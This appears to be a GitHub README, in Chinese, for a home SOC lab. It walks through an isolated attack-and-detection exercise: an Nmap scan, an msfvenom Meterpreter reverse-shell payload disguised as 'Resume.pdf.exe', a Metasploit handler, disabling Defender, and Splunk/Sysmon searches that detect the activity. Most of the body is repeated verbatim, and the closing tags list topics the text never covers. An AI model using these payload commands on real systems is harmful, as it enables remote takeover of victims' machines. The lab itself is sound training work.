ben-holomah/Home-Lab-MalwareAnalysis
GitHub: ben-holomah/Home-Lab-MalwareAnalysis
一个完整的 SOC 家庭实验室搭建指南,涵盖从攻击模拟到 Splunk 日志检测的全流程实践。
Stars: 1 | Forks: 0
# SOC 家庭实验室 — 恶意软件分析与检测
构建者:Ben Holomah
## 家庭实验室环境基线
- **Hypervisor:** VMware
- **SIEM:** Splunk 10.2.1
- **终端:** Windows 11, Kali Linux
## 概述
- 在这个实验室中,我构建了一个受控的家庭环境,以模拟真实的攻击场景,并练习使用 SIEM 进行检测。我使用 VMware 作为 Hypervisor,配置了一台运行 Splunk 的 Windows 11 机器作为我的目标和日志聚合平台,以及一台 Kali Linux 机器作为攻击者。我使用 Sysmon 来丰富端点遥测数据,并使用 Metasploit 生成一个伪装成 PDF 文件的真实载荷。目标是练习完整的周期 —— 执行攻击、捕获遥测数据,并通过 Splunk 搜索识别恶意活动。构建此实验室旨在获得 SOC 环境中常用工具和工作流程的实践经验。
## 基线设置
**日期:** 2026年1月21日
我在 VM 上安装了 Windows 11。在安装过程中,我通过 Offline Account/Limited Experience 路径选择了本地帐户。这通过减少 Microsoft 云同步服务和日志中相关的后台噪音,提供了一个更干净的实验室环境。
我通过运行以下命令确认了管理员权限:
```
net user %username%
```
[截图:显示 net user 输出的命令提示符,确认管理员状态]
## 网络配置
我在 VMware 中创建了一个名为 "LabNetwork" 的 LAN 段,将实验室环境与我的主机和互联网隔离。
| 网络模式 | 互联网访问 | 用例 |
|---|---|---|
| NAT | 是 | 测试工具 |
| Bridged | 是 | 测试工具 |
| Host-Only | 否 | 恶意软件分析 |
| LAN Segment | 否 | 隔离实验室通信 |
**Windows 11 — 192.168.20.10**
1. 打开网络和 Internet 设置
2. 导航到更改适配器选项
3. 右键单击 Ethernet0 → 属性 → IPv4 → 属性
4. 分配静态 IP:192.168.20.10,子网掩码:255.255.255.0
5. 使用 ipconfig 确认
[截图:显示 192.168.20.10 的 ipconfig 输出]
**Kali Linux — 192.168.20.11**
1. 右键单击以太网图标 → 编辑连接
2. 导航到 IPv4 设置选项卡
3. 将方法从自动 (DHCP) 更改为手动
4. 分配静态 IP:192.168.20.11,子网掩码:255.255.255.0
5. 使用 ifconfig 确认
[截图:显示 192.168.20.11 的 ifconfig 输出]
**故障排除:Ping 失败**
初始 ping 失败是由于 Windows Firewall 阻止了 ICMP 流量。通过运行以下命令解决:
```
New-NetFirewallRule -DisplayName "Allow ICMPv4" -Protocol ICMPv4 -IcmpType 8 -Enabled True -Action Allow
```
[截图:从 Kali 到 Windows 11 的成功 ping]
## 安装 Splunk
安装后,我配置 Splunk 通过 Add Data → Monitor → Local Event Logs 来摄取 Windows 事件日志,并选择了 Application、Security 和 System。
[截图:Splunk Add Data 审查屏幕,显示已选择 Application, Security, System]
## 安装 Sysmon
为了丰富端点日志记录,我使用 SwiftOnSecurity 配置安装了 Sysmon,以便详细查看进程创建、网络连接和文件活动。
```
.\Sysmon64.exe -accepteula -i sysmonconfig.xml
```
[截图:PowerShell 显示 Sysmon64 服务正在运行]
## 侦察 — Nmap 扫描
从 Kali 我对 Windows 11 目标运行了激进扫描:
```
nmap -A 192.168.20.10 -Pn
```
发现的开放端口:
- 135 — Microsoft RPC
- 139 — NetBIOS
- 445 — SMB
- 3389 — RDP
- 8000/8089 — Splunk
-A 标志启用激进扫描,包括 OS 检测和服务版本检测。-Pn 标志跳过主机发现。
[截图:显示开放端口的 Nmap 扫描结果]
## 启用 RDP
通过 Settings → System → Remote Desktop 在 Windows 11 上启用了远程桌面。
[截图:Windows 11 远程桌面设置显示 RDP 已在端口 3389 上启用]
## 使用 Msfvenom 生成恶意软件
```
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.20.11 LPORT=4444 -f exe -o Resume.pdf.exe
```
- -p windows/x64/meterpreter_reverse_tcp — Meterpreter 反向 TCP payload
- LHOST=192.168.20.11 — payload 回连到 Kali 机器
- LPORT=4444 — 监听端口
- -f exe — 输出为 Windows 可执行文件
- -o Resume.pdf.exe — 文件名模拟 PDF 以模拟社会工程学
注意:为了在此实验室环境中生成遥测数据,Windows Defender 已被禁用。
[截图:Msfvenom 命令输出显示 payload 已生成]
## 设置 Metasploit 监听器
```
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.20.11
set lport 4444
run
```
[截图:Metasploit handler 正在运行并等待连接]
## 执行 Payload
Payload 被传输到 Windows 11 机器并执行。由于文件扩展名被隐藏,该文件看起来像是一个 PDF,这是一种常见的社会工程技术。启用文件扩展名后,.exe 扩展名变得可见。
我通过运行以下命令确认了连接:
```
netstat -anob
```
我发现了一个回连到 Kali 机器 4444 端口的已建立连接。
[截图:netstat 输出显示已建立到 192.168.20.11:4444 的连接]
## 后渗透
Meterpreter 会话建立后,我进入 shell 并运行:
```
shell
net user
net localgroup
ipconfig
```
[截图:Kali 终端显示 Meterpreter 会话和后渗透命令]
## 在 Splunk 中检测
我创建了一个名为 endpoint 的专用索引来摄取 Sysmon 数据,并搜索攻击证据。
搜索恶意软件执行:
```
index=endpoint Resume.pdf.exe
```
[截图:Splunk 结果显示 Resume.pdf.exe 执行]
基于进程 GUID 进行追踪以追踪活动:
```
index=endpoint {process_guid}
| table _time, ParentImage, Image, CommandLine
```
这揭示了 explorer.exe 生成 Resume.pdf.exe,这是用户执行恶意文件的经典指标。
[截图:Splunk 表格显示 ParentImage, Image, 和 CommandLine]
## 总结
这个项目让我在攻击和防御安全方面都获得了实践经验。在蓝队方面,我配置了 SIEM,摄取了端点遥测数据,并通过日志分析识别了恶意活动。在红队方面,我使用 Nmap、Msfvenom 和 Metasploit 模拟了真实的攻击链。这两种视角的结合加深了我对攻击如何执行以及防御者如何检测它们的理解。
## 网络配置
我在 VMware 中创建了一个名为 "LabNetwork" 的 LAN 段,将实验室环境与我的主机和互联网隔离。
| 网络模式 | 互联网访问 | 用例 |
|---|---|---|
| NAT | 是 | 测试工具 |
| Bridged | 是 | 测试工具 |
| Host-Only | 否 | 恶意软件分析 |
| LAN Segment | 否 | 隔离实验室通信 |
**Windows 11 — 192.168.20.10**
1. 打开网络和 Internet 设置
2. 导航到更改适配器选项
3. 右键单击 Ethernet0 → 属性 → IPv4 → 属性
4. 分配静态 IP:192.168.20.10,子网掩码:255.255.255.0
5. 使用 ipconfig 确认
[截图:显示 192.168.20.10 的 ipconfig 输出]
**Kali Linux — 192.168.20.11**
1. 右键单击以太网图标 → 编辑连接
2. 导航到 IPv4 设置选项卡
3. 将方法从自动 (DHCP) 更改为手动
4. 分配静态 IP:192.168.20.11,子网掩码:255.255.255.0
5. 使用 ifconfig 确认
[截图:显示 192.168.20.11 的 ifconfig 输出]
**故障排除:Ping 失败**
初始 ping 失败是由于 Windows Firewall 阻止了 ICMP 流量。通过运行以下命令解决:
```
New-NetFirewallRule -DisplayName "Allow ICMPv4" -Protocol ICMPv4 -IcmpType 8 -Enabled True -Action Allow
```
[截图:从 Kali 到 Windows 11 的成功 ping]
## 安装 Splunk
安装后,我配置 Splunk 通过 Add Data → Monitor → Local Event Logs 来摄取 Windows 事件日志,并选择了 Application、Security 和 System。
[截图:Splunk Add Data 审查屏幕,显示已选择 Application, Security, System]
## 安装 Sysmon
为了丰富端点日志记录,我使用 SwiftOnSecurity 配置安装了 Sysmon,以便详细查看进程创建、网络连接和文件活动。
```
.\Sysmon64.exe -accepteula -i sysmonconfig.xml
```
[截图:PowerShell 显示 Sysmon64 服务正在运行]
## 侦察 — Nmap 扫描
从 Kali 我对 Windows 11 目标运行了激进扫描:
```
nmap -A 192.168.20.10 -Pn
```
发现的开放端口:
- 135 — Microsoft RPC
- 139 — NetBIOS
- 445 — SMB
- 3389 — RDP
- 8000/8089 — Splunk
-A 标志启用激进扫描,包括 OS 检测和服务版本检测。-Pn 标志跳过主机发现。
[截图:显示开放端口的 Nmap 扫描结果]
## 启用 RDP
通过 Settings → System → Remote Desktop 在 Windows 11 上启用了远程桌面。
[截图:Windows 11 远程桌面设置显示 RDP 已在端口 3389 上启用]
## 使用 Msfvenom 生成恶意软件
```
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.20.11 LPORT=4444 -f exe -o Resume.pdf.exe
```
- -p windows/x64/meterpreter_reverse_tcp — Meterpreter 反向 TCP payload
- LHOST=192.168.20.11 — payload 回连到 Kali 机器
- LPORT=4444 — 监听端口
- -f exe — 输出为 Windows 可执行文件
- -o Resume.pdf.exe — 文件名模拟 PDF 以模拟社会工程学
注意:为了在此实验室环境中生成遥测数据,Windows Defender 已被禁用。
[截图:Msfvenom 命令输出显示 payload 已生成]
## 设置 Metasploit 监听器
```
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.20.11
set lport 4444
run
```
[截图:Metasploit handler 正在运行并等待连接]
## 执行 Payload
Payload 被传输到 Windows 11 机器并执行。由于文件扩展名被隐藏,该文件看起来像是一个 PDF,这是一种常见的社会工程技术。启用文件扩展名后,.exe 扩展名变得可见。
我通过运行以下命令确认了连接:
```
netstat -anob
```
我发现了一个回连到 Kali 机器 4444 端口的已建立连接。
[截图:netstat 输出显示已建立到 192.168.20.11:4444 的连接]
## 后渗透
Meterpreter 会话建立后,我进入 shell 并运行:
```
shell
net user
net localgroup
ipconfig
```
[截图:Kali 终端显示 Meterpreter 会话和后渗透命令]
## 在 Splunk 中检测
我创建了一个名为 endpoint 的专用索引来摄取 Sysmon 数据,并搜索攻击证据。
搜索恶意软件执行:
```
index=endpoint Resume.pdf.exe
```
[截图:Splunk 结果显示 Resume.pdf.exe 执行]
基于进程 GUID 进行追踪以追踪活动:
```
index=endpoint {process_guid}
| table _time, ParentImage, Image, CommandLine
```
这揭示了 explorer.exe 生成 Resume.pdf.exe,这是用户执行恶意文件的经典指标。
[截图:Splunk 表格显示 ParentImage, Image, 和 CommandLine]
## 总结
这个项目让我在攻击和防御安全方面都获得了实践经验。在蓝队方面,我配置了 SIEM,摄取了端点遥测数据,并通过日志分析识别了恶意活动。在红队方面,我使用 Nmap、Msfvenom 和 Metasploit 模拟了真实的攻击链。这两种视角的结合加深了我对攻击如何执行以及防御者如何检测它们的理解。标签:AMSI绕过, BurpSuite集成, CTI, DAST, Sysmon, VMware, Windows 11, 云资产清单, 后渗透, 威胁检测, 安全运营中心, 家庭实验室, 恶意软件分析, 搜索语句(dork), 无线安全, 流量嗅探, 混合加密, 端点安全, 网络安全实验, 网络安全审计, 网络攻击模拟, 网络映射, 网络隔离, 蓝队防御, 蜜罐, 补丁管理, 证书利用, 逆向工程, 速率限制, 遥测数据